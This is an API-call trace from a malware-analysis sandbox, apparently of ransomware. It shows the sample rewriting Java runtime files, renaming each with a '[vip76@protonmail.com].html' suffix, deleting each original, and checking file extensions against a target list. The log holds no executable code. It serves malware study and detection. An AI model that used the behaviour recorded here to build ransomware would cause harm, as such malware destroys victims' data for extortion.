	[0177.462] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.463] GetLastError () returned 0x0
	[0177.463] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1c6de, lpOverlapped=0x0) returned 1
	[0177.468] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1c6e0, lpOverlapped=0x0) returned 1
	[0177.471] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.471] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0177.472] SetEndOfFile (hFile=0x554) returned 1
	[0177.472] CloseHandle (hObject=0x554) returned 1
	[0177.472] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.472] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.477] CloseHandle (hObject=0x4a8) returned 1
	[0177.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.480] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1
	[0177.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.480] lstrlenW (lpString=".doc") returned 4
	[0177.480] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0177.481] lstrlenW (lpString=".docx") returned 5
	[0177.481] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0177.481] lstrlenW (lpString=".pdf") returned 4
	[0177.481] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0177.481] lstrlenW (lpString=".xls") returned 4
	[0177.481] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0177.481] lstrlenW (lpString=".xlsx") returned 5
	[0177.481] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0177.481] lstrlenW (lpString=".ppt") returned 4
	[0177.481] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0177.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.481] lstrlenW (lpString=".zip") returned 4
	[0177.481] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0177.481] lstrlenW (lpString=".rar") returned 4
	[0177.481] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0177.481] lstrlenW (lpString=".bz2") returned 4
	[0177.481] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0177.481] lstrlenW (lpString=".7z") returned 3
	[0177.481] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0177.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.481] lstrlenW (lpString=".dbf") returned 4
	[0177.481] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0177.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.481] lstrlenW (lpString=".1cd") returned 4
	[0177.481] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0177.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.481] lstrlenW (lpString=".jpg") returned 4
	[0177.481] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0177.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.482] lstrlenW (lpString=".doc") returned 4
	[0177.482] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0177.482] lstrlenW (lpString=".docx") returned 5
	[0177.482] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0177.482] lstrlenW (lpString=".pdf") returned 4
	[0177.482] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0177.482] lstrlenW (lpString=".xls") returned 4
	[0177.482] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0177.482] lstrlenW (lpString=".xlsx") returned 5
	[0177.482] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0177.482] lstrlenW (lpString=".ppt") returned 4
	[0177.482] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.482] lstrlenW (lpString=".zip") returned 4
	[0177.482] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0177.482] lstrlenW (lpString=".rar") returned 4
	[0177.482] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0177.482] lstrlenW (lpString=".bz2") returned 4
	[0177.482] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0177.482] lstrlenW (lpString=".7z") returned 3
	[0177.482] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.482] lstrlenW (lpString=".dbf") returned 4
	[0177.482] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.482] lstrlenW (lpString=".1cd") returned 4
	[0177.482] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0177.482] lstrlenW (lpString=".jpg") returned 4
	[0177.482] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0177.483] lstrcmpiW (lpString1=".jfc", lpString2=".html") returned 1
	[0177.483] lstrlenW (lpString="default.jfc") returned 11
	[0177.483] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.483] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=20109) returned 1
	[0177.483] CloseHandle (hObject=0x4a8) returned 1
	[0177.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20
	[0177.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.484] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.484] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.484] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.484] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.486] GetLastError () returned 0x0
	[0177.486] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x4e8d, lpOverlapped=0x0) returned 1
	[0177.489] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x4e90, lpOverlapped=0x0) returned 1
	[0177.490] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.490] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1
	[0177.490] SetEndOfFile (hFile=0x554) returned 1
	[0177.490] CloseHandle (hObject=0x554) returned 1
	[0177.490] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.491] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.494] CloseHandle (hObject=0x4a8) returned 1
	[0177.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.495] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1
	[0177.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.496] lstrlenW (lpString=".doc") returned 4
	[0177.496] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0177.496] lstrlenW (lpString=".docx") returned 5
	[0177.496] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0177.496] lstrlenW (lpString=".pdf") returned 4
	[0177.496] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0177.496] lstrlenW (lpString=".xls") returned 4
	[0177.496] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0177.496] lstrlenW (lpString=".xlsx") returned 5
	[0177.496] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0177.496] lstrlenW (lpString=".ppt") returned 4
	[0177.496] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0177.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.496] lstrlenW (lpString=".zip") returned 4
	[0177.496] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0177.496] lstrlenW (lpString=".rar") returned 4
	[0177.496] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0177.496] lstrlenW (lpString=".bz2") returned 4
	[0177.496] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0177.496] lstrlenW (lpString=".7z") returned 3
	[0177.496] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0177.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.496] lstrlenW (lpString=".dbf") returned 4
	[0177.496] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0177.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.496] lstrlenW (lpString=".1cd") returned 4
	[0177.496] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0177.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.496] lstrlenW (lpString=".jpg") returned 4
	[0177.496] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0177.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.497] lstrlenW (lpString=".doc") returned 4
	[0177.497] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0177.497] lstrlenW (lpString=".docx") returned 5
	[0177.497] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0177.497] lstrlenW (lpString=".pdf") returned 4
	[0177.497] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0177.497] lstrlenW (lpString=".xls") returned 4
	[0177.497] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0177.497] lstrlenW (lpString=".xlsx") returned 5
	[0177.497] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0177.497] lstrlenW (lpString=".ppt") returned 4
	[0177.497] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0177.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.497] lstrlenW (lpString=".zip") returned 4
	[0177.497] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0177.497] lstrlenW (lpString=".rar") returned 4
	[0177.497] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0177.497] lstrlenW (lpString=".bz2") returned 4
	[0177.497] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0177.497] lstrlenW (lpString=".7z") returned 3
	[0177.497] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0177.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.497] lstrlenW (lpString=".dbf") returned 4
	[0177.497] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0177.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.497] lstrlenW (lpString=".1cd") returned 4
	[0177.497] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0177.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0177.497] lstrlenW (lpString=".jpg") returned 4
	[0177.497] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0177.498] lstrcmpiW (lpString1=".jfc", lpString2=".html") returned 1
	[0177.498] lstrlenW (lpString="profile.jfc") returned 11
	[0177.498] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.498] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=20065) returned 1
	[0177.498] CloseHandle (hObject=0x4a8) returned 1
	[0177.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20
	[0177.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.499] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.499] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.500] GetLastError () returned 0x0
	[0177.500] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x4e61, lpOverlapped=0x0) returned 1
	[0177.502] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x4e70, lpOverlapped=0x0) returned 1
	[0177.667] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.667] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1
	[0177.667] SetEndOfFile (hFile=0x554) returned 1
	[0177.667] CloseHandle (hObject=0x554) returned 1
	[0177.668] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.668] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.802] CloseHandle (hObject=0x4a8) returned 1
	[0177.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.803] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1
	[0177.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.804] lstrlenW (lpString=".doc") returned 4
	[0177.804] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0177.804] lstrlenW (lpString=".docx") returned 5
	[0177.804] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0177.804] lstrlenW (lpString=".pdf") returned 4
	[0177.804] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0177.804] lstrlenW (lpString=".xls") returned 4
	[0177.804] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0177.804] lstrlenW (lpString=".xlsx") returned 5
	[0177.804] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0177.804] lstrlenW (lpString=".ppt") returned 4
	[0177.804] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0177.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.804] lstrlenW (lpString=".zip") returned 4
	[0177.804] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0177.804] lstrlenW (lpString=".rar") returned 4
	[0177.804] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0177.804] lstrlenW (lpString=".bz2") returned 4
	[0177.804] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0177.804] lstrlenW (lpString=".7z") returned 3
	[0177.805] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0177.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.805] lstrlenW (lpString=".dbf") returned 4
	[0177.805] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0177.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.805] lstrlenW (lpString=".1cd") returned 4
	[0177.805] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0177.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.805] lstrlenW (lpString=".jpg") returned 4
	[0177.805] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0177.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.805] lstrlenW (lpString=".doc") returned 4
	[0177.805] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0177.805] lstrlenW (lpString=".docx") returned 5
	[0177.805] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0177.805] lstrlenW (lpString=".pdf") returned 4
	[0177.805] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0177.805] lstrlenW (lpString=".xls") returned 4
	[0177.805] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0177.805] lstrlenW (lpString=".xlsx") returned 5
	[0177.805] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0177.805] lstrlenW (lpString=".ppt") returned 4
	[0177.805] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0177.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.806] lstrlenW (lpString=".zip") returned 4
	[0177.806] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0177.806] lstrlenW (lpString=".rar") returned 4
	[0177.806] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0177.806] lstrlenW (lpString=".bz2") returned 4
	[0177.806] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0177.806] lstrlenW (lpString=".7z") returned 3
	[0177.806] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0177.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.806] lstrlenW (lpString=".dbf") returned 4
	[0177.806] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0177.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.806] lstrlenW (lpString=".1cd") returned 4
	[0177.806] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0177.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0177.806] lstrlenW (lpString=".jpg") returned 4
	[0177.806] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0177.806] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0177.806] lstrlenW (lpString="jfxswt.jar") returned 10
	[0177.806] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.808] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=33932) returned 1
	[0177.808] CloseHandle (hObject=0x4a8) returned 1
	[0177.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20
	[0177.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.809] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.809] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.809] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.809] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0177.810] GetLastError () returned 0x0
	[0177.811] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x848c, lpOverlapped=0x0) returned 1
	[0177.814] WriteFile (in: hFile=0x594, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x8490, lpOverlapped=0x0) returned 1
